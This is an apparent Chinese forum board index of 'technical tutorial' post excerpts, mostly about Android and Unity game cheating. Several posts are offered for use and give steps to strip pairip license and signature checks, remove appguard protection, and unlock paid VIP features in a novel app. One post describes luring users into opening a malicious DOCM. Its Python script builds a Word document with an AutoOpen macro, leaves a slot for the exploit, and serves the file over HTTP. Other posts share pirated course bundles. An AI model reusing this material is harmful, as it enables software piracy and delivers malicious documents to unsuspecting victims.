技术教程
发布技术教程的版块,助力网友更快成长。
24个主题在此版块
-
原理,通过Hook unity3d系统内时间函数,达到全局加速。 第一 逆向出dump文本,帖子内有。 记得区分32位So和64位。 一般情况建议删除armeabi-v7a文件夹 留下arm64-v8a 因为64位支持库性能更好。 #【技术教程】手机实现逆向so文件,u3d游戏教程# 第二 搭建Debug菜单环境 #【技术教程】记录手机制作u3d游戏mod菜单过程# 第三 搜索dump.cs文本里面的关键词 【public class Time //】 记住搜出来的结果上面必须是叫 【UnityEngine】这个 搜错成了其他有可能没效果。 然后在下面几行找到【get_deltaTime】这个函数复制偏移地址Offset,方法名上面一行标注了有。 比如0x12A6648 第四 打开debug菜单开发工具,申明一个int类型变量,变量名随便,这里是sliderValue=1 默认这样填(不默认有可能导致游戏出错) 然后写一段新的函数代码这里我偷了懒,没修改函数名字为get_deltaTime 不过问题不大,其实函数名字都可以随便自己填,不是必须得原函数名,只要能区分就行 代码 float (*old_get_timeScale)(void *instance); float get_timeScale(void *instance) { return old_get_timeScale(instance) * sliderValue; } 填完函数后添加Hook偏移代码语句,记得分清楚你是dump的arm64-v8a 64位的so还是…
-
- 0 篇回复
- 14 次查看
-
-
本文很简单没什么技术含量,但是教程不是最重要的。最重要的是思路,只要开拓你的思路,修改起来还是简简单单的。 第一步【确认游戏货币】 根据游戏货币提示和游戏货币图标大概可以判断出是coin金币或者gold金币 第二步【粘贴货币代码】 data/data/包名/shared_prefs目录下某个xml文件 可以提供参考文件名带有【v2】【playerprefs】等等 根据自己的判断或者直接梭哈,什么类型的货币字段一股脑暴力粘贴,反正多的那些也不会影响到游戏 一些关键词比如说有钻石【diamond】(复合s) 红宝石【ruby】带有棱角的钻石晶体【crystal】 第三步【测试结果】 这样就成功了,直接存档就行 第四部【存档】 #data/data存档注入教程# 最后再说一遍,任何教程最重要的不是教程本身,而是教程所用的思路,只要开拓你的思路,相信达到期望的修改目的不是问题。
-
- 0 篇回复
- 6 次查看
-
-
工具:没有360加固的安装包 mt管理器 第一消耗品属性改变 搜苹果,有个53cc文件,路径/assets/assets/core/import/53/,进入文件继续搜苹果StateId后面那个是增加的属性,StateNum后面是增加属性数值,负数就是减少数值 以此类推 第二建造所需物品反加 搜研究台,有个9b33文件,路径/assets/assets/core/import/9b/,进入文件继续搜研究台step1后面是所需物品,step1num后面是所需物品数量,改负数就可以反加,Tskrewardicon后面是完成这个任务后奖励的物品,Tskrewardnum后面是奖励数量 以此类推 第三签到 搜材料小礼包,有个c35c文件,路径/assets/assets/core/import/c3/,进入文件可以看到签到奖励,ItemId后面是签到奖励的物品,ItemNum后面是签到奖励的数量 第四成就奖励 搜在基地内建造一座,有个753d文件,路径/assets/assets/core/import/75/,进入文件可以看到所有成就任务,Tskrewardnum后面是奖励数量 第五主线任务 搜成就奖励的时候,有个9b33文件,路径/assets/assets/core/import/9b/,方法同成就奖励一样 第六科技内制造物品所需材料反加 ①工具台内反加 搜石斧,有个66e9文件,路径/assets/assets/core/import/66/,进入继续搜石斧,MaterialID后面是所需材料,MaterialNum后面是所需材料数量改负…
-
- 0 篇回复
- 3 次查看
-
-
教程内容:使用货币不减反而增加;并非所有游戏都这么改,只是给大家分享一个修改经验! 所需工具: 1.mt管理器2.ARM转换网址:https://armconverter.com/ 3.本次教程游戏:https://wwp.lanzoup.com/i7FMB14wqzfe 游戏成品:https://wwp.lanzoup.com/i1BU8153kxkd 4:Il2CppDumper(帖子里下载) 5.UN管理器:https://wwp.lanzoup.com/iW5O414wt04b 开搞! 1.老样子,先进入游戏捕捉信息;金币钻石(coin,gold,gem,diamond) 2.解压dump.cs文件;参考#【技术教程】手机实现逆向so文件,u3d游戏教程# 3.找关键方法,搜一遍coin没有后,尝试搜gold,找到货币控制器,货币流动的方法都在这了,比较直观。 4.第一种修改方法:减少货币B指令跳转到增加货币,每次减少货币的时候都会跳到增加货币函数中,实现反增;打开ARM转换网址,参考图片。 5.一个是64位,另一个是32位机器码,根据游戏填进去就行。 6./lib/arm64-v8a/,libil2cpp.so文件,十六进制打开修改。(ps:这是第一种改法) 7.第二种方法:先复制减少货币方法地址。 8.打开un管理器,选择so编辑器。
-
- 0 篇回复
- 5 次查看
-
-
Photoshop这款软件大家应该不陌生,但是Photopea呢? photopea vs photoshop Photopea其实就相当于是一个在线版本的Photoshop,虽然两者有一定的区别,不过在一些功能甚至是操作指令上都极为相似,甚至在日常的使用中完全可以用photopea代替photoshop来完成工作! 除了功能基本相同外,photope还是完全免费的,并且在GitHub上还有它的开源代码,且代码体积只有photoshop代码体积的1/2000左右。 不过photope并不能直接安装使用,而是需要通过源码上传到服务后以网页的形式进行访问使用…… 这对于资金有限或者网络质量不好的用户来说体验其实都是非常不佳的,所以今天就给大家带来一套能够实现本地运行并且几乎“0”成本的photope搭建使用方案。 准备阶段: 首先你需要准备一部安卓手机,建议直接使用主力机即可(不建议别人所说的废旧手机利用方案); 一个可以使用的虚拟机软件,我使用的是vmospro,系统选择安卓7.1并且开启root,框架和谷歌可以开也可以不开; 一个可以熟练使用的文件管理器和浏览器以及KSWEB安装包(文件管理器用MT,ES,甚至是自带的也可以,浏览器如果用vmospro的7.1系统应该内置了via); 最后就是准备一个重要的(KDY)Photopea_photoshop网站源码。 准备阶段结束! 接下来正式开始进入教程: 首先安装好vmospro并下载添加安卓7.1(64位),别问为啥不用5.1和9.0还有7.1的32位系统,问就是会有奇奇怪怪的问题,直接…
-
- 0 篇回复
- 5 次查看
-
-
废话不多说,教程开始 游戏(英雄不灭),需要加速器 dnspy搜SROption 一目了然,但是找半天没找到debug开关,但是没有关系,照样可以改 简单写个菜单,原理是其他通过点击事件跳转来触发,建议不要用同一个点击事件,这样可以避免开关失效,也方便了可以同时使用多个功能
-
- 0 篇回复
- 2 次查看
-
-
需要用到np管理器 mt管理器 游戏原包 如果是apks格式先把apks安装包转换成apk格式安装包,然后使用zip压缩包格式打开apks,把里面的base.apk解压出来备用 打开apk(或者转换成apk后)安装包里面的AndroidManifest.xml文件,把application标签下的android:name="com.pairip.application.Application"删除掉,整行都删除。 然后打开dex工程模式,dex++打开搜索代码勾选正则 invoke-static \{p1\}, Lcom/pairip/SignatureCheck;->verifyIntegrity\(Landroid/content/Context;\)V 替换为空 然后再把 Lcom/pairip/SignatureCheck; Lcom/pairip/SignatureCheck$SignatureTamperedException;这俩个类删除掉 再dex++搜索代码(无需勾选正则),然后替换空 invoke-static {p0}, Lcom/pairip/licensecheck3/LicenseClientV3;->onActivityCreate(Landroid/app/Activity;)V替换为空 修改完保存。然后打开np管理器 对刚刚修改完的apk使用这个功能 如果是apks格式的原apk目录就填解压出来的base.apk目录 如果游戏原包就是apk格式的,那就填原包apk目录 处理完后签名打开即…
-
- 0 篇回复
- 5 次查看
-
-
导语:添加一偏针对加固的教程这篇应该是理论居多,也可选择跳着看。。 了解一个国外加固与国内加固的区别,比较大的是目前遇见的国外加固多为代码混淆,意思就是其dex是完整的。但并不代表着其难度比不上国内加固,反而混淆严重的代码更具分析难度。 去签的前提,需对各个加固标志性文件有个了解,appguard的加固在国加固中其实安全度不高,但他综合性的结合了几个高难度的国外加固的方式,如appdome和liapp的代码混淆,以及在assets和安装包内放置原签名文件。 但是appdeme的加固不知是否分为企业加固或者是检验方式区别,对同家厂商的游戏研究下,发现同样的去签方式不一定可以达到通杀 对liapp的研究,通过demo测试其加固方式是为代码混淆入口替换以及dat加密,是的liapp有专门针对unity的一个加固方式,以及在替换原生安卓loadlibrary方法,还在攻克中暂定为20% 了解完国外加固常用方式,再了解一下第三方签名检验,如何对软件进行保护。基本上离不开对入口的替换,然后再插入各种代码,跟去签一样,入口的替换是去签与加签最常见的方式。相当于给你的门多加了一层门,而本次针对appguad的方式就是还原原入口。 对appguad的加固的软件开始进行分析,还原入口方式可根据监听工具进行监听获取。但是在这个加固中,其会对Xposed环境进行检测,显然在没有相关过检测工具下。算法助手是无法使用的。 那么这个时候就要借助一定的正向开发基础对为逆向去加固进行理论支撑。通过对Uniy引擎的安卓端游戏的了解,发现其主要是在于so和dat文件。ja…
-
- 0 篇回复
- 5 次查看
-
-
以下是对Web前端开发中相关技术的简单介绍: HTML(超文本标记语言) 是网页的基础结构语言,用于描述网页的内容和结构,通过各种标签来定义页面中的元素,如标题、段落、图像、链接等。 CSS(层叠样式表) 用于控制网页的样式和布局,包括字体、颜色、背景、边框、布局方式等,能够使网页更加美观和具有吸引力。 JavaScript(JS) 是一种脚本语言,主要用于实现网页的交互效果和动态功能,如表单验证、菜单切换、动画效果、与服务器进行数据交互等。 Bootstrap 是一个流行的前端框架,提供了一套丰富的CSS样式和JavaScript插件,能帮助快速创建响应式、移动设备优先的网页,简化了网页开发的过程,减少了编写CSS和JavaScript代码的工作量。 Ajax(异步JavaScript和XML) 不是一种新的编程语言,而是一种用于在Web页面中实现异步数据传输的技术。通过Ajax,网页可以在不重新加载整个页面的情况下,与服务器进行数据交换和更新部分页面内容,提高了用户体验。 JSON(JavaScript对象表示法) 是一种轻量级的数据交换格式,常用于前后端数据传输。它以简洁的文本格式表示数据对象,易于阅读和编写,也方便JavaScript进行解析和处理。 jQuery 是一个快速、简洁的JavaScript库,它简化了HTML文档遍历、事件处理、动画效果和Ajax等操作,使开发者能够更方便、快捷地编写JavaScript代码来实现各种网页交互功能。 web前端开发教程 链接:https://pan.baidu.com/s/19HjxB…
-
- 0 篇回复
- 5 次查看
-
-
涵盖商城、校园、医疗、CRM、教育、博客、物流等等,太多了,可以自己看预览图 3300套JAVA毕业设计项目成品源码 链接:https://pan.baidu.com/s/1OjHbrhsEL0DSP1FTZjdlvQ?pwd=2976 拿走吱一声[玫瑰] 免责声明: “ 本资源来自互联网,侵权立删, 资料中如有水印联系方式(检查无任何联系方式),请勿相信,谨防诈骗,一切后果自行承担,与本人、网域社区无关!” #1000+套最新计算机专业毕业设计源码+论文+PPT# #【分享】彭涛Python爬虫训练营# #【分享】清华大学出版社出版图书合集(2000+)# #AI指令合集:解锁高效内容创作与运营的密码# #Web前端开发技术教程(视频+代码示例详细版 )#
-
- 0 篇回复
- 3 次查看
-
-
众所周知番茄系列的广告是非常多的 今天我们就来去除它[呵呵] 不仅可以看小说无广告,还可以免广告下载。 去除方法为AdGuard规则拦截 首先打开AdGuard 找到广告拦截点进去 进去之后点击用户规则 然后点击那三个点 打开规则编辑器添加规则 添加完规则后点击✓号 然后返回打开这个保护禁用就可以了 现在番茄小说直装版都和谐差不多了唯一残存的应该就是远古版本了[滑稽]应该短时间不会再有了,就算有也很有可能是引流的,那种就太恶心了还是这个方法好一点,每次进入都要开着AdGuard的建议下载完小说给它权限关了再看,都下载好了你还开着网干啥[呵呵] 无违规的AdGuard和详细的视频教程+规则我放这里了。 不限速网盘下载链接:https://caiyun.139.com/m/i?075CgRTs02RY8 最后奉上成品图[滑稽][玫瑰]
-
- 0 篇回复
- 6 次查看
-
-
导语:在一些通用的方法下,你要都需要进行一定的敌我判断,不能让除玩家外的对象享受到mod功能 常用方法为:挂钩实例方法(int、bool)传入实例进行判断确定、第二是从字段(在dnspy中为黄色)中找到同类里的枚举字段或者疑似的字段(int、bool为普通类型蓝色)进行判断,第三个是我们自写的c++适配器代码,这个需对逻辑与c++语言有一定的基础,这里我们用到的是第二种方法,我们就找到了一个疑似字段,int类型的instanceid。 由于不像枚举一般有给我提供对应类型的返回值,所以我们可以通挂钩通用方法,比如这里我挂钩了伤害方法,敌人玩家受到伤害都会从这里走一遍逻辑 挂钩代码如下: 逻辑解析 当伤害代码被调用时将实例传入字段进行判断为1时就是玩家。 为何为1:通过logd进行打印isplayer的值,每次方法执行时都会在as控制台自动打印出玩家和敌人的实例值 像这样子,然后填入即可完成一次简单的判断 简单结束[滑稽]有缘再见
-
- 0 篇回复
- 6 次查看
-
-
基于本博客通过子目录安装并运行 WordPress 做出详细教程方法 linux 宝塔面板 php8.0 wordpress6.6 安装宝塔面板进入宝塔官网,选择对应设备的安装脚本 ssh 连接到你的 Linux 主机,输入在官网复制的脚本,按回车,等待一会 安装好宝塔后到登录宝塔面板在应用商店安装需要的 php 版本,一般是 8.0,第一次登录宝塔会弹出系统应用全家桶,选择推荐的那个 nginx 的 部署 wordpress进入正题,在宝塔面板点击【网站】选项,进入后点击网站选项,在刷新出的页面中点击【添加网站】按钮 然后在弹出的窗口中选择一键部署 选择 wordpress,网站域名就写 www.xxx.com,不要多写,网站目录可以在主目录下创建一个子目录 /www/wwwroot/www.xxx.com/blog 如上所示,然后复制一下数据库的账号和密码 配置 wordpress返回网站选项,在你的 wordpress 部署的域名上点击设置,设置网站运行目录为 www/wwwroot/www.xxx.com/blog 就是刚刚设置的子目录 注意,这是临时目录,只是为了方便安装 设置 ok 后点击域名进行访问,wordpress 会自动运行安装程序,这里都正常搞,数据库为了防止混合建议设置数据表前缀为 blog_ 接下来重点来了 进入 wordpress 后台,点击菜单栏中的【设置】【常规】 http://img.cdn.gsav.cn/IMG_blog/2024/07/3793f17e67a36383fcac9b39c4b47…
-
- 0 篇回复
- 6 次查看
-
-
谈谈优点🏆块结构设计灵活: 基于块(Blocks)的内容编辑架构,例如文本段落、标题、图片、列表、嵌入内容(如视频、推文等)都可作为独立的块进行编辑、拖动、排序等操作,块状结构对我们很友好🚲,很适合用于创作复杂且有条理的文档,像长篇文章、博客、专业报告等 输出格式标准化: 支持导出多种标准化的数据格式,比如 JSON,这使得它能方便地与其他系统进行对接和集成,开发人员可以基于其输出的结构化数据进行后续处理,如在不同的平台、应用程序之间传递内容,利于内容的复用和分发 插件生态丰富: 有着大量的官方及第三方插件让你任意选择,能够轻松扩展其功能。比如添加特殊的图表插件用于展示数据可视化内容,或者使用代码高亮插件来更好地展示代码示例等,满足不同用户群体和多样化的使用场景需求 界面简洁易用: 整体的编辑界面简洁直观,没有过多复杂冗余的功能按钮堆砌,对于新手用户来说容易上手,同时专业编辑人员也能快速聚焦于内容创作本身,减少因复杂界面而带来的干扰,在豆包上发现一个熟悉的影子🤩 注重内容语义: 区别于一些传统只注重样式的编辑器,它更强调内容的语义化,每个块都带有明确的内容类型属性,有助于提升内容的可访问性以及后续基于语义的自动化处理 一些欠缺🤔主要问题是赖我🚔 学习成本对于简单需求稍高: 如果只是想进行简单的纯文本编辑,它相对一些轻量级纯文本编辑器,学习其块操作、插件使用等功能就显得有些复杂了,存在一定的学习成本,我也懒得学🐒 依赖开发集成才能发挥最大优势: 虽然输出格式便于开发对接,但对于没有开发能力的普通个体用户来说,如果想深度定制或者实现更个性化…
-
- 0 篇回复
- 4 次查看
-
-
闲来无事,搞搞游戏 第一款游戏:Legend Tower Defense: Idle RPG 发现最近好像游戏都要汉化,于是打开游戏,搜索字符串 发现字符串在dat文件中,在网上寻找到大佬做的工具UTTOOL.exe(不知道哪位大佬做的,感谢)可以一键导出dat中的所有文本,让我们有了批量修改的可能 加载globeldata.dat导出所有字符串 直接发给谷歌翻译,导入替换,不行直接闪退,可能是因为dat文件中的字符串不全部都是游戏文本内容,还包含一些函数名称什么的吧,所以我们就得将其中的游戏文本内容挑出来,这就很麻烦了,自己一条一条人工识别,一万多条,累死我算了 于是祭出AI工具,问他一下该怎么区分游戏文本内容,根据AI所言,dat作为元数据会被so去使用,那肯定会有将文本与其他区分开来的地方 所以我们去看看so,使用Il2CppDumper处理一下 ida打开so,加载脚本,Il2CppDumper处理后会生成一个字符串文件stringliteral.json 我们进去随便搜一个游戏文本字符串 根据地址去ida跳转搜索,发现了不一样的地方 我们发现所有的游戏文本内容都被一个叫LangEN的类的方法调用,这就给了我们思路,我们只要把这个类的所有方法所调用的字符串挑出来,不就行了嘛,去问问AI,让它给个脚本 去ida实践一下(一定要等so完全加载完,即输出窗口输出finish或者上面的加载提示灯变成绿色,加载大的文件很慢),有问题让它再多修改几次 最后运行下脚本,成功提取游戏文本! 然后就将文本全部翻译,自己看看没什么大问题,就可以填…
-
- 0 篇回复
- 11 次查看
-
-
尊重他人劳动成果,禁止搬砖!谢谢。 工具(包含视频):https://pan.quark.cn/s/4355196e74ed unity游戏资源文件会压缩成data.unity3d格式文件,需要用工具解包再进行汉化工作,如果没有data.unity3d则跳过这一步。 开始: 1.进游戏看下,语言五花八门唯独没有中文。这类游戏语言文本一般都会单独放在一个文件,汉化也比较简单。 2.UABE解包data.unity3d 3.将dump好的dll全部放入Managed文件,顺便把data.unity3d移出文件夹避免文件路径显示不出来。 4.AssetStudioGUI打开Data文件夹,选择Asst List类型过滤MonoBehaviour,然后按大小排序。 5.I2Languages,看文件名就知道是个管理语言的文件,里面包含游戏内的所有语言。单击右键:show original file(展示该文件所在路径),记住Pathid:5965 6.返回UABE操作:ctrl+g跳转。 12.这里要注意下,后面机翻不要有多余符号,避免翻译乱码,双引号后面可以加回去。
-
- 1 篇回复
- 7 次查看
-
-
有些so地址很多都只是简单修改一下0或者1的ret值 为了不麻烦,写了一个批量修改 使用方法:把so文件拖入到文件内 输入dump后的地址 比如说0x19994fb 或者0x19994fb,0x13994fb,0x 1821e54 0x这个可有可无。 然后输入16进制字节 比如说修改ret 0 就输入000080d2c0035fd6 脚本已经内置了这个 直接输入0即可 通过网盘分享的文件:SoModHex.zip 链接: https://pan.baidu.com/s/10GERsnBGKIP4pjQ1zDDPxA?pwd=q698 提取码: q698 复制这段内容后打开百度网盘手机App,操作更方便哦
-
- 0 篇回复
- 17 次查看
-
-
孩子们番茄回来了解锁SVIP支持安卓15 现在番茄的验证是越来越难了特别是最新版还能奔放的估计也就一些旧版本了对于没root的用户很不友好,今天就给大家带来FPA+hookVIP解锁番茄小说会员的教程,相当于是直装版且只需要几步支持安卓15❗ 附上FPA+图文视频教程很详细的一看就会 不限速链接:http://caiyun.139.com/front/#/detail?linkID=2nQQTxKTSLMl8 由于新版本都拉闸了我弄了一个旧版本亲测可用,放链接了直接按我的教程来就可以用,不想用我这个版本的也可以去豌豆荚下载比我新几个版本的或者旧几个版本的,但别太新也别太旧,提示更新的话一定不要更新。 。 2025/7/17亲测可用,测试系统安卓15,13 使用之前建议卸载原版然后清理一下垃圾残留不然可能不安全 首先依旧打开FPA点击下方的+号选择已安装的应用 搜索番茄免费小说 勾选成我这样然后点击执行PATCH 卸载手机里的并安装新生成的安装包 然后返回FPA刷新一下然后点击新增的番茄小说 点击设置作用域 点进去直接勾选hookVIP,然后重新打开番茄小说就是会员了,也不会提示不安全什么的!如果安装报毒的话就请你断网安装。
-
- 0 篇回复
- 5 次查看
-
-
-
攻击者可以通过电子邮件或流媒体服务器发送恶意 DOCM 文件,诱骗任何用户打开并执行其代码。Microsoft Office Excel 中的释放后使用漏洞允许未经授权的恶意用户在本地执行代码 import osimport sysimport pythoncomfrom win32com.client import Dispatchimport http.serverimport socketserverimport socketimport threadingimport zipfile PORT = 8000DOCM_FILENAME = "salaries.docm"ZIP_FILENAME = "salaries.zip"DIRECTORY = "." def create_docm_with_macro(filename=DOCM_FILENAME): pythoncom.CoInitialize() word = Dispatch("Word.Application") word.Visible = False try: doc = word.Documents.Add() vb_project = doc.VBProject vb_component = vb_project.VBComponents("ThisDocument") macro_code = '''Sub AutoOpen() //YOUR EXPLOIT HE…
-
- 1 篇回复
- 35 次查看
-
-
附件中100万优质网站反向链接,对网站SEO有着巨大的好处,站长们不要错过。 2119fc7c0a5e04c95797bb280ad61f3e.ods
-
- 1 篇回复
- 35 次查看
-
-
「大数据技术之MySQL高级 - 带源码课件」,链接:https://pan.quark.cn/s/87699db71a54「大数据技术之Shell - 带源码课件」,链接:https://pan.quark.cn/s/5efe11d1d713「黑马-Python+大数据年度钻石会员-价值24980-14阶段完结无密(1)」,链接:https://pan.quark.cn/s/d4d11eec17f4「【163课堂-1001359001】微专业 - 数据挖掘分析之Python篇 - 带源码课件」,链接:https://pan.quark.cn/s/0670a6dcd0e6「光环国际《Python数据分析5天训练营》」,链接:https://pan.quark.cn/s/1afdfb2b1974「Ontrack EasyRecovery数据恢复v16.0.0.8技术员仅汉化版x64.rar」,链接:https://pan.quark.cn/s/22f3785c0ca9「《Python超强爬虫》8天速成爬取各种网站数据实战案例」,链接:https://pan.quark.cn/s/5763a4d46e9f「2024年9月黑马就业班python+大数据开发V5」,链接:https://pan.quark.cn/s/a56171ebcf5d「蜗牛学院-《轻松入门Python数据分析》」,链接:https://pan.quark.cn/s/d0c92f104866「天善智能-磨剑之作,七周成“师”!秦路主讲,七周成为数据分析师」,链接:https:…
-
- 1 篇回复
- 26 次查看
-
-
简洁明了的 HTML 模板 - 网站正在建设中。创建一个index.html文件并粘贴以下代码,或下载该文件并将其放在主目录中。 <html lang="pl-PL"> <head> <meta name="viewport" content="width=device-width"> <title>Strona w trakcie budowy</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta http-equiv="Content-Language" content="pl-PL"> <meta name="robots" content="noindex, nofollow"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="pragma" content="no-cache"> <style type="text/css"> html { font-size: 100%; } body { background-color: #F1F1F1; font-size: 0.8em; margin: 0; font-family:Arial; padding: 3% 0 0 0; } div.wrapp…
-
- 0 篇回复
- 28 次查看
-
-
<div class="widget_name"> <!-- You can change name of every widget you add--> <div class=" ipsPad_half"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet"> <!-- If you add another button, you need to change the every number from css style, e.g.: .box4 need to change to .box5 to not overwrite--> <style media="screen" type="text/css"> * { font-family: 'Montserrat', sans-serif; } .box4{ position: relative; cursor: pointer; width: 285px; height: 50px; background-color: #8918a7; overflow: hidden; border-radius: 6px; box-shadow: 0 2px 8px 0 rgba(0,0,0,0.3); transition: 400ms ease-in-ou…
-
- 0 篇回复
- 21 次查看
-